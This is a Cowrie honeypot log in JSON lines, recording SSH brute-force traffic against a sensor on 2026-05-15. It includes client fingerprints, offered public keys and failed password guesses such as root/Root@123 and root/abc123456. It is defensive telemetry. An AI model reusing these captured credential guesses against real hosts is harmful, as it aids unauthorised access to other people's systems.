{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:18.613084Z","src_ip":"103.75.199.4","session":"3ae408967148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:19.708412Z","src_ip":"103.75.199.4","session":"3ae408967148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":45820,"dst_ip":"10.17.0.5","dst_port":22,"session":"13d2d9540a89","protocol":"ssh","message":"New connection: 178.20.210.186:45820 (10.17.0.5:22) [session: 13d2d9540a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:21.214174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:21.218011Z","src_ip":"178.20.210.186","session":"13d2d9540a89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:21.329622Z","src_ip":"178.20.210.186","session":"13d2d9540a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"open","password":"open","message":"login attempt [open/open] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:21.770020Z","src_ip":"178.20.210.186","session":"13d2d9540a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:22.891237Z","src_ip":"178.20.210.186","session":"13d2d9540a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.7203152179718,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.187796Z","src_ip":"161.35.217.121","session":"e92bad13aeec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.161.147.167","src_port":45344,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d37b1ac2ac0","protocol":"ssh","message":"New connection: 5.161.147.167:45344 (10.17.0.5:22) [session: 4d37b1ac2ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.333632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.338637Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.350694Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:20:c0:de:f2:b0:13:44:3e:bc:3c:85:e0:e2:1f:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf/XvzeKPXTA27HpJST9txq2aL1QQmBjoT03WevueoqKeOGDZecfsZUVo6oWuBIHnf/oBOaWOMHXNenrXKCcvqvwV5lQK3QFLK1jYJOow3IyOE0gZ5YeJsuENwxbTeZKEM7CmcsHgkSkMTfz344Lzaj/Adi/8larMzgnfA0CQfLl8k//AGoiA+r6mmN7a6TjiMYOCbn5Z2x4csHg8Ypi4ZwiCclO+NvcotRYVz3rPmjMm2FkJyVOaeT0t7YuQGeUT6EhBIP8p4FnNrxXuGhg0lvDzBwczLUxa8oYH/m3iNPEc/GybZ8pdtTjX3oO3Wh6JS/JG/fxHbJjl7e7QjvUEZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:20:c0:de:f2:b0:13:44:3e:bc:3c:85:e0:e2:1f:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.391460Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:20:c0:de:f2:b0:13:44:3e:bc:3c:85:e0:e2:1f:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf/XvzeKPXTA27HpJST9txq2aL1QQmBjoT03WevueoqKeOGDZecfsZUVo6oWuBIHnf/oBOaWOMHXNenrXKCcvqvwV5lQK3QFLK1jYJOow3IyOE0gZ5YeJsuENwxbTeZKEM7CmcsHgkSkMTfz344Lzaj/Adi/8larMzgnfA0CQfLl8k//AGoiA+r6mmN7a6TjiMYOCbn5Z2x4csHg8Ypi4ZwiCclO+NvcotRYVz3rPmjMm2FkJyVOaeT0t7YuQGeUT6EhBIP8p4FnNrxXuGhg0lvDzBwczLUxa8oYH/m3iNPEc/GybZ8pdtTjX3oO3Wh6JS/JG/fxHbJjl7e7QjvUEZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.396250Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:76:0a:b9:36:af:3b:9c:f8:ba:f8:8f:0e:16:4f:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdlV7OTwO4NkagRwGVMlf8rdnKn3dYw3YiDU31CbYtrbnOpB4ajmXl4pp5vI67HZIx5PGMeix1wvk31Lt1Zh+H3q/w+9184PH5IDnS+a5nuqbQTKwq4LfhNYPbzx/h2dLAcXAb3AwsU6Pyq24K8aUmw2+bfFVz+h16qA9MJtl2uEHYztJw/wsZWOKavkcAFHwrDcT8EHwyvx/H30xXIxgyiTwhyX1AptI6ZwzUNl+xAc8UKZAzz4kEw7ZWIdgP4H/x4YPzpm0JTO0RuBZbWr+r/vmR9VNqFF9uKdATIR1QhoB19CZJWbCVIWpeCm5hKZDhqDeVEz82vmBvta8LVK4z+TJY3l6/pf8+Dq/27g0sP4eSBgUhHkcWKfI0J3p6FfvN/QgI+0YylQ0cwFkBSFhwDFZvGETYLwZbCPeJGnIsAmMvyD2U65NeNjSe6+DtQaS96z/P5tUfcHkuiTNzpB90OYDNCIjXxIiS/5AkQHGamjwMClxsLJ2/e0EJkYKfhocOvm23EMxWNLdJfSE3ZL2D5AUtFdhGu/pnaPfCmt4FLnOBduuJA0ggR4JSJft+x+hX8M61XEq4lsyxNV67mD8L0+L6eAz27VeprN7EsDhGi2tsrpw1bCh7C8l5LEbU+0W3pS/7rSXOTUT5Ff9GsXnIbTFYF6NcuTmoy+WQDcPNvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:76:0a:b9:36:af:3b:9c:f8:ba:f8:8f:0e:16:4f:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.413802Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:76:0a:b9:36:af:3b:9c:f8:ba:f8:8f:0e:16:4f:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdlV7OTwO4NkagRwGVMlf8rdnKn3dYw3YiDU31CbYtrbnOpB4ajmXl4pp5vI67HZIx5PGMeix1wvk31Lt1Zh+H3q/w+9184PH5IDnS+a5nuqbQTKwq4LfhNYPbzx/h2dLAcXAb3AwsU6Pyq24K8aUmw2+bfFVz+h16qA9MJtl2uEHYztJw/wsZWOKavkcAFHwrDcT8EHwyvx/H30xXIxgyiTwhyX1AptI6ZwzUNl+xAc8UKZAzz4kEw7ZWIdgP4H/x4YPzpm0JTO0RuBZbWr+r/vmR9VNqFF9uKdATIR1QhoB19CZJWbCVIWpeCm5hKZDhqDeVEz82vmBvta8LVK4z+TJY3l6/pf8+Dq/27g0sP4eSBgUhHkcWKfI0J3p6FfvN/QgI+0YylQ0cwFkBSFhwDFZvGETYLwZbCPeJGnIsAmMvyD2U65NeNjSe6+DtQaS96z/P5tUfcHkuiTNzpB90OYDNCIjXxIiS/5AkQHGamjwMClxsLJ2/e0EJkYKfhocOvm23EMxWNLdJfSE3ZL2D5AUtFdhGu/pnaPfCmt4FLnOBduuJA0ggR4JSJft+x+hX8M61XEq4lsyxNV67mD8L0+L6eAz27VeprN7EsDhGi2tsrpw1bCh7C8l5LEbU+0W3pS/7rSXOTUT5Ff9GsXnIbTFYF6NcuTmoy+WQDcPNvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.417909Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:10:b4:25:98:84:d5:84:b7:ec:f9:a4:de:51:4c:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClTEaVWRux0w1QHDeuG7dbF8v5Gersaa62VwRP1S9496Nt0bzORzvuBZQdg5vBTcpFI/WHsO9c9Ej27/OxPGAKaY+nCxPrk4d9HdeMhIfQhrICFKxWTXAyEbNCqlO8hJ7ugIKtHbKtnBev+4eitu6n3S6lnJ2lVdDoUdTEjdOHgNFRr6vq6dOJJCViMtcKsasMWfYcdRxjtTZ6UyeiJgPAWZFqYJZLtg8wezwD851g3GbC46mf1TJq8uS7NGtul7/7jh+9W6ux1SZpY2KuRkIbonDuifDxoviAGZTtN/c4+wZ/DpHMP3qvmBnspLPdqyy9xgs9dL5JPcyXNuoc8WDOtLgnZVXmn5LtZ7KhJGfL5MJ5PpqDXkI3bjVDj9bW+2TjDF/td59mjFrWmZ558Xr4EZ+3neOyxgu+DLOmi0kuKjntmf/+MXEHqvU2s6xpbh+00qGeHusEgahO+WuaMIMN59INtczQ98Q6Gk3kLuEK5bmdIvEgkg/tOVKdvD0WbNHy1VrHrCpmojNTIkk2kxxKOy3imK7wLQ9hsRvYUUFztXEBxX/bQok8oLmrPAAjdk5XOA6q+4IrYhj+7Y5X7j2drHz1PKbRRd0VNb82BwLozfTUHq6uMHwKBBJLgf1beusbsV3aFK+JeVND6MBE8orU5odFPT2Z43HxzWispnYKDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:10:b4:25:98:84:d5:84:b7:ec:f9:a4:de:51:4c:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.432189Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:10:b4:25:98:84:d5:84:b7:ec:f9:a4:de:51:4c:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClTEaVWRux0w1QHDeuG7dbF8v5Gersaa62VwRP1S9496Nt0bzORzvuBZQdg5vBTcpFI/WHsO9c9Ej27/OxPGAKaY+nCxPrk4d9HdeMhIfQhrICFKxWTXAyEbNCqlO8hJ7ugIKtHbKtnBev+4eitu6n3S6lnJ2lVdDoUdTEjdOHgNFRr6vq6dOJJCViMtcKsasMWfYcdRxjtTZ6UyeiJgPAWZFqYJZLtg8wezwD851g3GbC46mf1TJq8uS7NGtul7/7jh+9W6ux1SZpY2KuRkIbonDuifDxoviAGZTtN/c4+wZ/DpHMP3qvmBnspLPdqyy9xgs9dL5JPcyXNuoc8WDOtLgnZVXmn5LtZ7KhJGfL5MJ5PpqDXkI3bjVDj9bW+2TjDF/td59mjFrWmZ558Xr4EZ+3neOyxgu+DLOmi0kuKjntmf/+MXEHqvU2s6xpbh+00qGeHusEgahO+WuaMIMN59INtczQ98Q6Gk3kLuEK5bmdIvEgkg/tOVKdvD0WbNHy1VrHrCpmojNTIkk2kxxKOy3imK7wLQ9hsRvYUUFztXEBxX/bQok8oLmrPAAjdk5XOA6q+4IrYhj+7Y5X7j2drHz1PKbRRd0VNb82BwLozfTUHq6uMHwKBBJLgf1beusbsV3aFK+JeVND6MBE8orU5odFPT2Z43HxzWispnYKDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.436339Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:b8:c0:55:6e:0f:a6:8a:7f:cc:8f:1f:a9:87:37:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCapG2NqpAX8pd7rnwgFVPYDcVwIwwEbT3gg2u8TMU0soMAAPo4XL3gq8kdz/om1GVjzMzrtALClwwcfY/9bc/kXJl3XlEO/tZ+W6KwDTqLjZe2SELuLu240i0rS5QwpPy48OL4AU7gUHl0Irez/U8TVTtDvyViOVWexFcoj0w/ycTmtllQiHTeSYRHZ6H0FIEigaxYsdlTYdq+ijMutnzSYVlF/MKHwzvLOnS1OEAOaf64ZaFVX6590cQsOQ3ZuwN8qopQd7H8q2GghAje3W3/xeyUkYkMUoz38KiDum21aNkccB9ElAYdEjNrtMJLLLOYvl3Fe6Glx/HD0kWSVwIElm4kxBhBgFUWQu83gLEaxVCCvyd+DWDjCqmL8XNZvK4M6TVVnNjuoKyKQJCi2H42SD+OYs3rmG0GTOTKP8E+QtyKFmUT80G5CAIXustOf/IxG+iNPcNUo07J4/xmp+PEdW8O7u8G+pI2DQ+q2ckaQzRuG9qigwRkZBPq/UD9dBdZ/PLOEHN5tHT/ZEf/OLLI3ebzP4Rfcm2k4AidmER+0ipZKDkln7gBt2Ek2jLtoXprsOTylsr/FfYA4roPBZlVbm7MoEL6iUfqfp2+f6Df8u5l6ppkeNihOwww/mUSz2qxD50hDw3+vobFd/MqqVVSBrvFR9tKjaY/t/KnXi3aQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:b8:c0:55:6e:0f:a6:8a:7f:cc:8f:1f:a9:87:37:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.449713Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:b8:c0:55:6e:0f:a6:8a:7f:cc:8f:1f:a9:87:37:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCapG2NqpAX8pd7rnwgFVPYDcVwIwwEbT3gg2u8TMU0soMAAPo4XL3gq8kdz/om1GVjzMzrtALClwwcfY/9bc/kXJl3XlEO/tZ+W6KwDTqLjZe2SELuLu240i0rS5QwpPy48OL4AU7gUHl0Irez/U8TVTtDvyViOVWexFcoj0w/ycTmtllQiHTeSYRHZ6H0FIEigaxYsdlTYdq+ijMutnzSYVlF/MKHwzvLOnS1OEAOaf64ZaFVX6590cQsOQ3ZuwN8qopQd7H8q2GghAje3W3/xeyUkYkMUoz38KiDum21aNkccB9ElAYdEjNrtMJLLLOYvl3Fe6Glx/HD0kWSVwIElm4kxBhBgFUWQu83gLEaxVCCvyd+DWDjCqmL8XNZvK4M6TVVnNjuoKyKQJCi2H42SD+OYs3rmG0GTOTKP8E+QtyKFmUT80G5CAIXustOf/IxG+iNPcNUo07J4/xmp+PEdW8O7u8G+pI2DQ+q2ckaQzRuG9qigwRkZBPq/UD9dBdZ/PLOEHN5tHT/ZEf/OLLI3ebzP4Rfcm2k4AidmER+0ipZKDkln7gBt2Ek2jLtoXprsOTylsr/FfYA4roPBZlVbm7MoEL6iUfqfp2+f6Df8u5l6ppkeNihOwww/mUSz2qxD50hDw3+vobFd/MqqVVSBrvFR9tKjaY/t/KnXi3aQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.453509Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:52:33:9e:0b:1f:6d:b0:97:1d:32:b6:7a:04:76:c1","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPyDJQWAzWMMkg8DWGYP9wtDG35QNdUF0Na898VX7OcMwJDPVC3lfiheMbaSPB0kDDTtJRVDl4y36SsqCySlDkGC0U6+FJnv2+7UvB8W9CtLeGdftTCnMr/c2wxb67N2nDWuWTngZsWRIsJQ/EFfQWucD4YN6F3GvuOb/n8homExAAAAFQCSO1q0/dbYeEDxl5tdhya64I4CWQAAAIEAyNQylCmYE2Qgn9CeTz9jVn5CSLxOOF6ODu8479aZdESmycj8SNf2iosYdfGeZ07br8InaxG2GPzuIlZmTBbLVoS6UYyWZrHrHOe3OzkSBa+3/tPW1O+J5+06LlK5WO8UxRplKYbjiOJYCFu9n4cZZmRpsXaPzQzuyr4M8M9dh5gAAACAHlyMLCIuygQj2u0o81HcARnXDudjaPBxOTjaPwnI5yAv4zMngfRAqo+1z90AKtJLx5zlX+/+QKkrtLkzUUFaV7QB+z0p2hRU+Ah3c8TPzsTjESV5uU++7qTd+lqJwNc/Khjb06mTyJv0lvbjAe6BOEQsFOPOpzUI4anMl/ZeG1k=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 0b:52:33:9e:0b:1f:6d:b0:97:1d:32:b6:7a:04:76:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.468695Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:52:33:9e:0b:1f:6d:b0:97:1d:32:b6:7a:04:76:c1","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPyDJQWAzWMMkg8DWGYP9wtDG35QNdUF0Na898VX7OcMwJDPVC3lfiheMbaSPB0kDDTtJRVDl4y36SsqCySlDkGC0U6+FJnv2+7UvB8W9CtLeGdftTCnMr/c2wxb67N2nDWuWTngZsWRIsJQ/EFfQWucD4YN6F3GvuOb/n8homExAAAAFQCSO1q0/dbYeEDxl5tdhya64I4CWQAAAIEAyNQylCmYE2Qgn9CeTz9jVn5CSLxOOF6ODu8479aZdESmycj8SNf2iosYdfGeZ07br8InaxG2GPzuIlZmTBbLVoS6UYyWZrHrHOe3OzkSBa+3/tPW1O+J5+06LlK5WO8UxRplKYbjiOJYCFu9n4cZZmRpsXaPzQzuyr4M8M9dh5gAAACAHlyMLCIuygQj2u0o81HcARnXDudjaPBxOTjaPwnI5yAv4zMngfRAqo+1z90AKtJLx5zlX+/+QKkrtLkzUUFaV7QB+z0p2hRU+Ah3c8TPzsTjESV5uU++7qTd+lqJwNc/Khjb06mTyJv0lvbjAe6BOEQsFOPOpzUI4anMl/ZeG1k=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.474159Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:29.491294Z","src_ip":"5.161.147.167","session":"4d37b1ac2ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52122,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7b93a9f6746","protocol":"ssh","message":"New connection: 103.75.199.4:52122 (159.203.135.109:22) [session: a7b93a9f6746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:40.163774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:40.168672Z","src_ip":"103.75.199.4","session":"a7b93a9f6746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:40.259885Z","src_ip":"103.75.199.4","session":"a7b93a9f6746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:40.533328Z","src_ip":"103.75.199.4","session":"a7b93a9f6746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:41.627628Z","src_ip":"103.75.199.4","session":"a7b93a9f6746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58298,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea77ed426579","protocol":"ssh","message":"New connection: 103.75.199.4:58298 (159.203.135.109:22) [session: ea77ed426579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:01.979678Z"}
